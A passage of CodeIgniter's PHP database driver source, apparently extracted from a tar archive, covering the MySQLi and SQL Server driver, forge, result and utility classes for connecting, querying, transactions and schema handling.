$ssl['ca'] = $this->encrypt['ssl_ca']; empty($this->encrypt['ssl_capath']) OR $ssl['capath'] = $this->encrypt['ssl_capath']; empty($this->encrypt['ssl_cipher']) OR $ssl['cipher'] = $this->encrypt['ssl_cipher']; if (isset($this->encrypt['ssl_verify'])) { $client_flags |= MYSQLI_CLIENT_SSL; if ($this->encrypt['ssl_verify']) { defined('MYSQLI_OPT_SSL_VERIFY_SERVER_CERT') && $this->_mysqli->options(MYSQLI_OPT_SSL_VERIFY_SERVER_CERT, TRUE); } // Apparently (when it exists), setting MYSQLI_OPT_SSL_VERIFY_SERVER_CERT // to FALSE didn't do anything, so PHP 5.6.16 introduced yet another // constant ... // // https://secure.php.net/ChangeLog-5.php#5.6.16 // https://bugs.php.net/bug.php?id=68344 elseif (defined('MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT')) { $client_flags |= MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT; } } if ( ! empty($ssl)) { $client_flags |= MYSQLI_CLIENT_SSL; $this->_mysqli->ssl_set( isset($ssl['key']) ? $ssl['key'] : NULL, isset($ssl['cert']) ? $ssl['cert'] : NULL, isset($ssl['ca']) ? $ssl['ca'] : NULL, isset($ssl['capath']) ? $ssl['capath'] : NULL, isset($ssl['cipher']) ? $ssl['cipher'] : NULL ); } } if ($this->_mysqli->real_connect($hostname, $this->username, $this->password, $this->database, $port, $socket, $client_flags)) { // Prior to version 5.7.3, MySQL silently downgrades to an unencrypted connection if SSL setup fails if ( ($client_flags & MYSQLI_CLIENT_SSL) && version_compare($this->_mysqli->client_info, '5.7.3', '<=') && empty($this->_mysqli->query("SHOW STATUS LIKE 'ssl_cipher'")->fetch_object()->Value) ) { $this->_mysqli->close(); $message = 'MySQLi was configured for an SSL connection, but got an unencrypted connection instead!'; log_message('error', $message); return ($this->db_debug) ? $this->display_error($message, '', TRUE) : FALSE; } return $this->_mysqli; } return FALSE; } // -------------------------------------------------------------------- /** * Reconnect * * Keep / reestablish the db connection if no queries have been * sent for a length of time exceeding the server's idle timeout * * @return void */ public function reconnect() { if ($this->conn_id !== FALSE && $this->conn_id->ping() === FALSE) { $this->conn_id = FALSE; } } // -------------------------------------------------------------------- /** * Select the database * * @param string $database * @return bool */ public function db_select($database = '') { if ($database === '') { $database = $this->database; } if ($this->conn_id->select_db($database)) { $this->database = $database; $this->data_cache = array(); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Set client character set * * @param string $charset * @return bool */ protected function _db_set_charset($charset) { return $this->conn_id->set_charset($charset); } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } return $this->data_cache['version'] = $this->conn_id->server_info; } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return mixed */ protected function _execute($sql) { return $this->conn_id->query($this->_prep_query($sql)); } // -------------------------------------------------------------------- /** * Prep the query * * If needed, each database adapter can prep the query string * * @param string $sql an SQL query * @return string */ protected function _prep_query($sql) { // mysqli_affected_rows() returns 0 for "DELETE FROM TABLE" queries. This hack // modifies the query so that it a proper number of affected rows is returned. if ($this->delete_hack === TRUE && preg_match('/^\s*DELETE\s+FROM\s+(\S+)\s*$/i', $sql)) { return trim($sql).' WHERE 1=1'; } return $sql; } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { $this->conn_id->autocommit(FALSE); return is_php('5.5') ? $this->conn_id->begin_transaction() : $this->simple_query('START TRANSACTION'); // can also be BEGIN or BEGIN WORK } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { if ($this->conn_id->commit()) { $this->conn_id->autocommit(TRUE); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { if ($this->conn_id->rollback()) { $this->conn_id->autocommit(TRUE); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { return $this->conn_id->real_escape_string($str); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return $this->conn_id->affected_rows; } // -------------------------------------------------------------------- /** * Insert ID * * @return int */ public function insert_id() { return $this->conn_id->insert_id; } // -------------------------------------------------------------------- /** * List table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SHOW TABLES FROM '.$this->_escape_char.$this->database.$this->_escape_char; if ($prefix_limit !== FALSE && $this->dbprefix !== '') { return $sql." LIKE '".$this->escape_like_str($this->dbprefix)."%'"; } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (($query = $this->query('SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE))) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->Field; sscanf($query[$i]->Type, '%[a-z](%d)', $retval[$i]->type, $retval[$i]->max_length ); $retval[$i]->default = $query[$i]->Default; $retval[$i]->primary_key = (int) ($query[$i]->Key === 'PRI'); } return $retval; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { if ( ! empty($this->_mysqli->connect_errno)) { return array( 'code' => $this->_mysqli->connect_errno, 'message' => $this->_mysqli->connect_error ); } return array('code' => $this->conn_id->errno, 'message' => $this->conn_id->error); } // -------------------------------------------------------------------- /** * FROM tables * * Groups tables in FROM clauses if needed, so there is no confusion * about operator precedence. * * @return string */ protected function _from_tables() { if ( ! empty($this->qb_join) && count($this->qb_from) > 1) { return '('.implode(', ', $this->qb_from).')'; } return implode(', ', $this->qb_from); } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { $this->conn_id->close(); } } drivers/mysqli/mysqli_forge.php 0000644 00000014046 14642767334 0012776 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MySQLi Forge Class * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mysqli_forge extends CI_DB_forge { /** * CREATE DATABASE statement * * @var string */ protected $_create_database = 'CREATE DATABASE %s CHARACTER SET %s COLLATE %s'; /** * CREATE TABLE keys flag * * Whether table keys are created from within the * CREATE TABLE statement. * * @var bool */ protected $_create_table_keys = TRUE; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'TINYINT', 'SMALLINT', 'MEDIUMINT', 'INT', 'INTEGER', 'BIGINT', 'REAL', 'DOUBLE', 'DOUBLE PRECISION', 'FLOAT', 'DECIMAL', 'NUMERIC' ); /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * CREATE TABLE attributes * * @param array $attributes Associative array of table attributes * @return string */ protected function _create_table_attr($attributes) { $sql = ''; foreach (array_keys($attributes) as $key) { if (is_string($key)) { $sql .= ' '.strtoupper($key).' = '.$attributes[$key]; } } if ( ! empty($this->db->char_set) && ! strpos($sql, 'CHARACTER SET') && ! strpos($sql, 'CHARSET')) { $sql .= ' DEFAULT CHARACTER SET = '.$this->db->char_set; } if ( ! empty($this->db->dbcollat) && ! strpos($sql, 'COLLATE')) { $sql .= ' COLLATE = '.$this->db->dbcollat; } return $sql; } // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if ($alter_type === 'DROP') { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { $field[$i] = ($alter_type === 'ADD') ? "\n\tADD ".$field[$i]['_literal'] : "\n\tMODIFY ".$field[$i]['_literal']; } else { if ($alter_type === 'ADD') { $field[$i]['_literal'] = "\n\tADD "; } else { $field[$i]['_literal'] = empty($field[$i]['new_name']) ? "\n\tMODIFY " : "\n\tCHANGE "; } $field[$i] = $field[$i]['_literal'].$this->_process_column($field[$i]); } } return array($sql.implode(',', $field)); } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { $extra_clause = isset($field['after']) ? ' AFTER '.$this->db->escape_identifiers($field['after']) : ''; if (empty($extra_clause) && isset($field['first']) && $field['first'] === TRUE) { $extra_clause = ' FIRST'; } return $this->db->escape_identifiers($field['name']) .(empty($field['new_name']) ? '' : ' '.$this->db->escape_identifiers($field['new_name'])) .' '.$field['type'].$field['length'] .$field['unsigned'] .$field['null'] .$field['default'] .$field['auto_increment'] .$field['unique'] .(empty($field['comment']) ? '' : ' COMMENT '.$field['comment']) .$extra_clause; } // -------------------------------------------------------------------- /** * Process indexes * * @param string $table (ignored) * @return string */ protected function _process_indexes($table) { $sql = ''; for ($i = 0, $c = count($this->keys); $i < $c; $i++) { if (is_array($this->keys[$i])) { for ($i2 = 0, $c2 = count($this->keys[$i]); $i2 < $c2; $i2++) { if ( ! isset($this->fields[$this->keys[$i][$i2]])) { unset($this->keys[$i][$i2]); continue; } } } elseif ( ! isset($this->fields[$this->keys[$i]])) { unset($this->keys[$i]); continue; } is_array($this->keys[$i]) OR $this->keys[$i] = array($this->keys[$i]); $sql .= ",\n\tKEY ".$this->db->escape_identifiers(implode('_', $this->keys[$i])) .' ('.implode(', ', $this->db->escape_identifiers($this->keys[$i])).')'; } $this->keys = array(); return $sql; } } drivers/mysqli/mysqli_result.php 0000644 00000014154 14642767335 0013213 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * MySQLi Result Class * * This class extends the parent result class: CI_DB_result * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_mysqli_result extends CI_DB_result { /** * Number of rows in the result set * * @return int */ public function num_rows() { return is_int($this->num_rows) ? $this->num_rows : $this->num_rows = $this->result_id->num_rows; } // -------------------------------------------------------------------- /** * Number of fields in the result set * * @return int */ public function num_fields() { return $this->result_id->field_count; } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { $field_names = array(); $this->result_id->field_seek(0); while ($field = $this->result_id->fetch_field()) { $field_names[] = $field->name; } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { $retval = array(); $field_data = $this->result_id->fetch_fields(); for ($i = 0, $c = count($field_data); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $field_data[$i]->name; $retval[$i]->type = static::_get_field_type($field_data[$i]->type); $retval[$i]->max_length = $field_data[$i]->max_length; $retval[$i]->primary_key = (int) ($field_data[$i]->flags & MYSQLI_PRI_KEY_FLAG); $retval[$i]->default = $field_data[$i]->def; } return $retval; } // -------------------------------------------------------------------- /** * Get field type * * Extracts field type info from the bitflags returned by * mysqli_result::fetch_fields() * * @used-by CI_DB_mysqli_result::field_data() * @param int $type * @return string */ private static function _get_field_type($type) { static $map; isset($map) OR $map = array( MYSQLI_TYPE_DECIMAL => 'decimal', MYSQLI_TYPE_BIT => 'bit', MYSQLI_TYPE_TINY => 'tinyint', MYSQLI_TYPE_SHORT => 'smallint', MYSQLI_TYPE_INT24 => 'mediumint', MYSQLI_TYPE_LONG => 'int', MYSQLI_TYPE_LONGLONG => 'bigint', MYSQLI_TYPE_FLOAT => 'float', MYSQLI_TYPE_DOUBLE => 'double', MYSQLI_TYPE_TIMESTAMP => 'timestamp', MYSQLI_TYPE_DATE => 'date', MYSQLI_TYPE_TIME => 'time', MYSQLI_TYPE_DATETIME => 'datetime', MYSQLI_TYPE_YEAR => 'year', MYSQLI_TYPE_NEWDATE => 'date', MYSQLI_TYPE_INTERVAL => 'interval', MYSQLI_TYPE_ENUM => 'enum', MYSQLI_TYPE_SET => 'set', MYSQLI_TYPE_TINY_BLOB => 'tinyblob', MYSQLI_TYPE_MEDIUM_BLOB => 'mediumblob', MYSQLI_TYPE_BLOB => 'blob', MYSQLI_TYPE_LONG_BLOB => 'longblob', MYSQLI_TYPE_STRING => 'char', MYSQLI_TYPE_VAR_STRING => 'varchar', MYSQLI_TYPE_GEOMETRY => 'geometry' ); return isset($map[$type]) ? $map[$type] : $type; } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { if (is_object($this->result_id)) { $this->result_id->free(); $this->result_id = FALSE; } } // -------------------------------------------------------------------- /** * Data Seek * * Moves the internal pointer to the desired offset. We call * this internally before fetching results to make sure the * result set starts at zero. * * @param int $n * @return bool */ public function data_seek($n = 0) { return $this->result_id->data_seek($n); } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return $this->result_id->fetch_assoc(); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { return $this->result_id->fetch_object($class_name); } } drivers/sqlsrv/sqlsrv_forge.php 0000644 00000010342 14642767337 0013024 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.0.3 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLSRV Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlsrv_forge extends CI_DB_forge { /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = "IF NOT EXISTS (SELECT * FROM sysobjects WHERE ID = object_id(N'%s') AND OBJECTPROPERTY(id, N'IsUserTable') = 1)\nCREATE TABLE"; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = "IF EXISTS (SELECT * FROM sysobjects WHERE ID = object_id(N'%s') AND OBJECTPROPERTY(id, N'IsUserTable') = 1)\nDROP TABLE"; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'TINYINT' => 'SMALLINT', 'SMALLINT' => 'INT', 'INT' => 'BIGINT', 'REAL' => 'FLOAT' ); // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('ADD', 'DROP'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table).' ALTER COLUMN '; $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { $sqls[] = $sql.$this->_process_column($field[$i]); } return $sqls; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { if (isset($attributes['CONSTRAINT']) && strpos($attributes['TYPE'], 'INT') !== FALSE) { unset($attributes['CONSTRAINT']); } switch (strtoupper($attributes['TYPE'])) { case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; case 'INTEGER': $attributes['TYPE'] = 'INT'; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE && stripos($field['type'], 'int') !== FALSE) { $field['auto_increment'] = ' IDENTITY(1,1)'; } } } drivers/sqlsrv/sqlsrv_utility.php 0000644 00000004675 14642767340 0013433 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.0.3 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLSRV Utility Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlsrv_utility extends CI_DB_utility { /** * List databases statement * * @var string */ protected $_list_databases = 'EXEC sp_helpdb'; // Can also be: EXEC sp_databases /** * OPTIMIZE TABLE statement * * @var string */ protected $_optimize_table = 'ALTER INDEX all ON %s REORGANIZE'; // -------------------------------------------------------------------- /** * Export * * @param array $params Preferences * @return bool */ protected function _backup($params = array()) { // Currently unsupported return $this->db->display_error('db_unsupported_feature'); } } drivers/sqlsrv/sqlsrv_driver.php 0000644 00000033760 14642767341 0013221 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.0.3 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLSRV Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlsrv_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'sqlsrv'; /** * Scrollable flag * * Determines what cursor type to use when executing queries. * * FALSE or SQLSRV_CURSOR_FORWARD would increase performance, * but would disable num_rows() (and possibly insert_id()) * * @var mixed */ public $scrollable; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('NEWID()', 'RAND(%d)'); /** * Quoted identifier flag * * Whether to use SQL-92 standard quoted identifier * (double quotes) or brackets for identifier escaping. * * @var bool */ protected $_quoted_identifier = TRUE; // -------------------------------------------------------------------- /** * Class constructor * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); // This is only supported as of SQLSRV 3.0 if ($this->scrollable === NULL) { $this->scrollable = defined('SQLSRV_CURSOR_CLIENT_BUFFERED') ? SQLSRV_CURSOR_CLIENT_BUFFERED : FALSE; } } // -------------------------------------------------------------------- /** * Database connection * * @param bool $pooling * @return resource */ public function db_connect($pooling = FALSE) { $charset = in_array(strtolower($this->char_set), array('utf-8', 'utf8'), TRUE) ? 'UTF-8' : SQLSRV_ENC_CHAR; $connection = array( 'UID' => empty($this->username) ? '' : $this->username, 'PWD' => empty($this->password) ? '' : $this->password, 'Database' => $this->database, 'ConnectionPooling' => ($pooling === TRUE) ? 1 : 0, 'CharacterSet' => $charset, 'Encrypt' => ($this->encrypt === TRUE) ? 1 : 0, 'ReturnDatesAsStrings' => 1 ); // If the username and password are both empty, assume this is a // 'Windows Authentication Mode' connection. if (empty($connection['UID']) && empty($connection['PWD'])) { unset($connection['UID'], $connection['PWD']); } if (FALSE !== ($this->conn_id = sqlsrv_connect($this->hostname, $connection))) { // Determine how identifiers are escaped $query = $this->query('SELECT CASE WHEN (@@OPTIONS | 256) = @@OPTIONS THEN 1 ELSE 0 END AS qi'); $query = $query->row_array(); $this->_quoted_identifier = empty($query) ? FALSE : (bool) $query['qi']; $this->_escape_char = ($this->_quoted_identifier) ? '"' : array('[', ']'); } return $this->conn_id; } // -------------------------------------------------------------------- /** * Select the database * * @param string $database * @return bool */ public function db_select($database = '') { if ($database === '') { $database = $this->database; } if ($this->_execute('USE '.$this->escape_identifiers($database))) { $this->database = $database; $this->data_cache = array(); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return resource */ protected function _execute($sql) { return ($this->scrollable === FALSE OR $this->is_write_type($sql)) ? sqlsrv_query($this->conn_id, $sql) : sqlsrv_query($this->conn_id, $sql, NULL, array('Scrollable' => $this->scrollable)); } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { return sqlsrv_begin_transaction($this->conn_id); } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { return sqlsrv_commit($this->conn_id); } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { return sqlsrv_rollback($this->conn_id); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return sqlsrv_rows_affected($this->result_id); } // -------------------------------------------------------------------- /** * Insert ID * * Returns the last id created in the Identity column. * * @return string */ public function insert_id() { return $this->query('SELECT SCOPE_IDENTITY() AS insert_id')->row()->insert_id; } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } if ( ! $this->conn_id OR ($info = sqlsrv_server_info($this->conn_id)) === FALSE) { return FALSE; } return $this->data_cache['version'] = $info['SQLServerVersion']; } // -------------------------------------------------------------------- /** * List table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool * @return string $prefix_limit */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT '.$this->escape_identifiers('name') .' FROM '.$this->escape_identifiers('sysobjects') .' WHERE '.$this->escape_identifiers('type')." = 'U'"; if ($prefix_limit === TRUE && $this->dbprefix !== '') { $sql .= ' AND '.$this->escape_identifiers('name')." LIKE '".$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_escape_like_str, $this->_escape_like_chr); } return $sql.' ORDER BY '.$this->escape_identifiers('name'); } // -------------------------------------------------------------------- /** * List column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.Columns WHERE UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { $sql = 'SELECT COLUMN_NAME, DATA_TYPE, CHARACTER_MAXIMUM_LENGTH, NUMERIC_PRECISION, COLUMN_DEFAULT FROM INFORMATION_SCHEMA.Columns WHERE UPPER(TABLE_NAME) = '.$this->escape(strtoupper($table)); if (($query = $this->query($sql)) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->COLUMN_NAME; $retval[$i]->type = $query[$i]->DATA_TYPE; $retval[$i]->max_length = ($query[$i]->CHARACTER_MAXIMUM_LENGTH > 0) ? $query[$i]->CHARACTER_MAXIMUM_LENGTH : $query[$i]->NUMERIC_PRECISION; $retval[$i]->default = $query[$i]->COLUMN_DEFAULT; } return $retval; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { $error = array('code' => '00000', 'message' => ''); $sqlsrv_errors = sqlsrv_errors(SQLSRV_ERR_ERRORS); if ( ! is_array($sqlsrv_errors)) { return $error; } $sqlsrv_error = array_shift($sqlsrv_errors); if (isset($sqlsrv_error['SQLSTATE'])) { $error['code'] = isset($sqlsrv_error['code']) ? $sqlsrv_error['SQLSTATE'].'/'.$sqlsrv_error['code'] : 